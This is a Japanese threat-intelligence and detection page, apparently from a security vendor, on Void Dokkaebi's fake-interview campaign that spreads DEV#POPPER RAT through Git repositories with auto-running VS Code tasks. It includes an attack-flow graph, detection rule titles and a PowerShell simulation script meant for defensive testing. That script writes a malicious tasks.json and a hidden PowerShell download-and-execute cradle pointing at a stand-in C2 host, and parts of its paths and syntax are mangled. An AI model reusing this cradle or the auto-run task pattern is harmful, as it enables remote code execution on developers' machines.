Void DokkaebiがGitリポジトリを通じてマルウェアを拡散するために使用する偽面接
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Void Dokkaebiは、北朝鮮と関連のある脅威グループで、開発者をフェイクの求人面接で誘い込み、悪意のあるリポジトリをクローンさせています。これらのリポジトリは、VS Codeのタスクに注入されたコードと難読化されたJavaScriptを悪用し、信頼されたコードプロジェクトを自動的なマルウェア配信のチャネルに変えます。感染したリポジトリは、開発者環境や接続されたエコシステム全体に感染を広める可能性があります。
調査
Trend Microは、750以上の感染した公開リポジトリ、500以上の悪意のあるVS Codeタスク設定、コミットの改ざんを狙ったカスタムバッチスクリプトを含む101件のケースを発見しました。分析の結果、悪意のあるコードはブロックチェーンベースのサービスを通じてペイロードを取得し、最終的にDEV#POPPER RATの変種を配信していました。そのマルウェアはWebSocketとHTTPベースのチャネルを通じて攻撃者のインフラストラクチャと通信しています。
緩和策
推奨される防御策には、面接過程で受け取ったコードの隔離、以下の設定追加 .vscode/ to .gitignore, 署名されたコミットとブランチ保護の実施、既知の感染マーカーに対するリポジトリの監査が含まれます。セキュリティチームは、ブロックチェーンAPIトラフィックの疑わしい動きを監視し、特定された指令・制御URLへのアクセスをブロックする必要があります。開発者は、VS Codeのワークスペース信頼プロンプトを意義深いセキュリティチェックポイントとして扱い、単なるルーチンのクリックスルーとしないようにするべきです。
対応策
感染が疑われる場合、即座に影響を受けた作業環境を隔離し、露出した資格情報を取り消し、悪意のある .vscode のタスクファイルと注入されたJavaScriptを削除し、影響を受けたリポジトリを完全にレビューしてください。ネットワーク防御もまた、既知の指令・制御パターンを検出し、特定されたブロックチェーンエンドポイントへのアウトバウンド通信をブロックするように更新されるべきです。
"graph TB %% Class definitions classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Node definitions stage_initial["<b>Stage</b> – 初期アクセス<br/>攻撃者が偽の面接と悪意のあるGitリポジトリで開発者を誘う"] class stage_initial stage tech_user_exec["<b>Technique</b> – T1204 ユーザー実行<br/>被害者がリンクやコピーしたコードなどの悪意のあるコンテンツを実行する"] class tech_user_exec technique tech_malicious_link["<b>Technique</b> – T1204.001 悪意のあるリンク<br/>リンクが被害者を悪意のあるリポジトリに誘導する"] class tech_malicious_link technique tech_malicious_copy["<b>Technique</b> – T1204.004 悪意のあるコピーとペースト<br/>開発者が悪意のあるリポジトリからコードをコピーする"] class tech_malicious_copy technique stage_repo_harvest["<b>Stage</b> – リポジトリ収穫<br/>クローンしたリポジトリによりソースコードや潜在的な資格情報にアクセスできる"] class stage_repo_harvest stage tech_code_repo["<b>Technique</b> – T1213.003 情報リポジトリからのデータ: コードリポジトリ<br/>敵対者がコードリポジトリからデータを抽出する"] class tech_code_repo technique stage_execution_vs["<b>Stage</b> – VS Codeによる実行<br/>.vscode/tasks.jsonがフォルダを開いた際に自動的にダウンローダーを実行する"] class stage_execution_vs stage tech_trusted_ide["<b>Technique</b> – T1127 信頼された開発者ユーティリティのプロキシ実行<br/>信頼されたIDE拡張機能の悪用によるコード実行"] class tech_trusted_ide technique tech_ide_ext["<b>Technique</b> – T1176.002 ソフトウェア拡張: IDE拡張<br/>悪意のあるtasks.jsonが実行をトリガーする"] class tech_ide_ext technique file_tasks_json["<b>File</b> – .vscode/tasks.json<br/>フォルダオープン時にダウンローダーを起動するように設定されている"] class file_tasks_json file stage_payload_retrieval["<b>Stage</b> – ペイロード取得<br/>ダウンローダーがブロックチェーンRPCエンドポイントからペイロードを取得する"] class stage_payload_retrieval stage tech_resource_hijack["<b>Technique</b> – T1496 リソースハイジャック<br/>ブロックチェーンインフラをペイロード配信に利用する"] class tech_resource_hijack technique tech_obfuscation["<b>Technique</b> – T1027.007 隠されたファイルまたは情報: 動的API解決<br/>コードがAPIエンドポイントを隠し、ランタイムで解決する"] class tech_obfuscation technique indicator_blockchain["<b>Indicator</b> – アウトバウンドブロックチェーンRPC接続<br/>api.trongrid.io、aptoslabs.com、BSC RPCへの呼び出し"] class indicator_blockchain indicator stage_module_hijack["<b>Stage</b> – モジュールハイジャック<br/>隠された.node_modulesディレクトリが悪意のあるNodeモジュールをプレロードするために配置される"] class stage_module_hijack stage tech_shared_modules["<b>Technique</b> – T1129 共有モジュール<br/>悪意のあるモジュールが正規のモジュールより前にロードされる"] class tech_shared_modules technique file_node_modules["<b>File</b> – .node_modulesディレクトリ<br/>ハイジャックされたモジュールを含む"] class file_node_modules file stage_rat_deployment["<b>Stage</b> – RAT配備<br/>DEV#POPPER RATの変種がWebSocket C2を確立し、データを流出させる"] class stage_rat_deployment stage malware_devpopper["<b>Malware</b> – DEV#POPPER RAT<br/>WebSocket C2、ファイル流出、CI/CDパイプラインを回避"] class malware_devpopper malware indicator_c2["<b>Indicator</b> – WebSocket C2 URL"] class indicator_c2 indicator stage_persistence["<b>Stage</b> – 永続化とコミットの改ざん<br/>設定ファイルに悪意のあるJavaScriptが注入され、バッチスクリプトがコミットを改ざんする"] class stage_persistence stage tech_timestomp["<b>Technique</b> – T1070.006 インジケータの除去: Timestomp<br/>システム時間を変更してコミットを遡って記録する"] class tech_timestomp technique file_postcss["<b>File</b> – postcss.config.mjs<br/>難読化されたJavaScriptが注入されている"] class file_postcss file file_batch["<b>File</b> – temp_auto_push.bat<br/>コミット改ざんと強制pushを自動化する"] class file_batch file stage_propagation["<b>Stage</b> – 伝播<br/>悪意のある.vscodeフォルダとコードがコミットされ、下流の開発者に感染が引き継がれる"] class stage_propagation stage tech_propagation["<b>Technique</b> – T1127 信頼された開発者ユーティリティのプロキシ実行<br/>クローンされたリポジトリにおけるIDEの繰り返し悪用"] class tech_propagation technique tech_repo_spread["<b>Technique</b> – T1213.003 情報リポジトリからのデータ<br/>リポジトリの共有を通じて悪意のあるコードが広がる"] class tech_repo_spread technique indicator_detection["<b>Indicator</b> – 検出IOC<br/>ブロックチェーンRPC、WebSocket C2、/verify-human/および/u/f HTTPパス"] class indicator_detection indicator %% Connections stage_initial –>|uses| tech_user_exec tech_user_exec –>|includes| tech_malicious_link tech_user_exec –>|includes| tech_malicious_copy tech_malicious_link –>|delivers| stage_repo_harvest tech_malicious_copy –>|delivers| stage_repo_harvest stage_repo_harvest –>|exploits| tech_code_repo stage_repo_harvest –>|leads to| stage_execution_vs stage_execution_vs –>|uses| tech_trusted_ide stage_execution_vs –>|uses| tech_ide_ext stage_execution_vs –>|executes| file_tasks_json stage_execution_vs –>|triggers| stage_payload_retrieval stage_payload_retrieval –>|uses| tech_resource_hijack stage_payload_retrieval –>|uses| tech_obfuscation stage_payload_retrieval –>|creates| indicator_blockchain stage_payload_retrieval –>|leads to| stage_module_hijack stage_module_hijack –>|uses| tech_shared_modules stage_module_hijack –>|contains| file_node_modules stage_module_hijack –>|leads to| stage_rat_deployment stage_rat_deployment –>|deploys| malware_devpopper malware_devpopper –>|communicates with| indicator_c2 stage_rat_deployment –>|prepares for| stage_persistence stage_persistence –>|uses| tech_timestomp stage_persistence –>|modifies| file_postcss stage_persistence –>|runs| file_batch stage_persistence –>|enables| stage_propagation stage_propagation –>|uses| tech_propagation stage_propagation –>|uses| tech_repo_spread stage_propagation –>|produces| indicator_detection "
攻撃フロー
検出
C2チャネルとしてのEthereum Publicnode乱用の可能性(dns_query経由)
表示
第三者サービス/ツールを介したデータ流入/流出/C2の可能性(プロキシ経由)
表示
第三者サービス/ツールを介したデータ流入/流出/C2の可能性(dns経由)
表示
Vscode自動タスク設定ファイルの異常なディレクトリでの作成の可能性[MACOS](file_event経由)
表示
Vscode自動タスク設定ファイルの異常なディレクトリでの作成の可能性[LINUX](file_event経由)
表示
Void DokkaebiがGitリポジトリを介してマルウェアを拡散するために使用した偽インタビューを検出するためのIOC(SourceIP)
表示
Void DokkaebiがGitリポジトリを介してマルウェアを拡散するために使用した偽インタビューを検出するためのIOC(DestinationIP)
表示
Void Dokkaebiの悪意のあるVS Codeタスクと難読化されたJavaScriptの検出[Windowsファイルイベント]
表示
シミュレーションの実行
必要条件: テレメトリとベースラインの事前飛行チェックが合格したこと。
根拠: このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行について詳しく説明します。コマンドと説明はTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としなければなりません。抽象的または無関係な例は誤診を引き起こします。
-
攻撃の説明とコマンド:
開発者が悪意のあるリポジトリをクローンするように説得した攻撃者は、秘密のVS Codetasks.jsonをプロジェクトの.vscodeフォルダにドロップします。このタスクは、システムの一時ディレクトリにあるtemp_auto_push.batスクリプトを参照しています。このバッチファイルは、難読化されたJavaScriptスニペットからオンザフライで生成されglobal['!']andglobal['_V']のマーカーを埋め込んでいます。開発者がVS Codeでフォルダを開くと、タスクが自動実行され、バッチファイルが実行され、最終的にC2サーバーに接続します。この連鎖は T1053.007 (VS Codeタスク), T1127.003 (バッチを介した持続的ショートカット), および T1027.007 (難読化)を満たします。手順は以下の通りです:
- 悪意のある
tasks.jsonを必要な文字列で配置します。 - 難読化されたJavaScriptを作成し で評価された場合に
temp_auto_push.batが含まれる悪意のあるコマンドを書き込む - の存在確認 VS Codeタスクの実行をトリガー
(CLIでタスクを発動させることでシミュレーション)コード –folder-uri
- 悪意のある
-
回帰テストスクリプト:
# ------------------------------------------------- # Void Dokkaebi VS Code Task & Obfuscated JS Simulation # ------------------------------------------------- $vscodeDir = "$env:USERPROFILE.vscode" $taskFile = Join-Path $vscodeDir "tasks.json" $tempBat = "$env:TEMPtemp_auto_push.bat" $jsPayload = @" (function(){ var g = global; g['!'] = true; // 検出用マーカー g['_V'] = 'payload'; var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"'; var fso = new ActiveXObject('Scripting.FileSystemObject'); var file = fso.CreateTextFile('$tempBat', true); file.WriteLine(cmd); file.Close(); })(); "@ # 1. .vscodeフォルダが存在することを確認 New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null # 2. 悪意のあるtasks.jsonを記述 @" { "version": "2.0.0", "tasks": [ { "label": "AutoPush", "type": "shell", "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS" } ] } "@ | Set-Content -Path $taskFile -Encoding UTF8 # 3. (任意)タスクを直接発行してVS Codeの自動実行を模倣 # 注意: 実際の環境ではVS Codeがこのタスクを解析して実行します。 Write-Host "悪意のあるVS Codeタスクが配備されました。シミュレーションによって発動中..." cscript //nologo //E:jscript //B - <<'JS' $jsPayload JS Write-Host "シミュレーションが完了しました。SIEMでアラートを確認してください。" -
クリーンアップコマンド:
# 悪意のあるアーティファクトを削除 Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue # テストのために作成された.vscodeディレクトリをオプションでクリア if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) { Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue } Write-Host "クリーンアップが完了しました。"